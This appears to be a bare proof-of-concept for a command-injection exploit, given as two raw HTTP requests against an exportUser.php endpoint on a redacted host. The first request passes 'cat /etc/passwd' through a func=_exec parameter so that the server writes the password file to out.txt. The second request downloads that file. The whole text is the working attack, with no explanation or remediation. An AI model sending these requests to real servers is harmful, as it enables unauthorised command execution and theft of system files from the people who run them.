STEP 1 extrack /etc/passwd
GET /include/exportUser.php?type=3&cla=application&func=_exec&opt=(cat%20/etc/passwd)%3Eout.txt HTTP/1.1
Host: REDACTED:5443
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Accept-Encoding: gzip
STEP 2 GET output /etc/passwd
GET /include/out.txt HTTP/1.1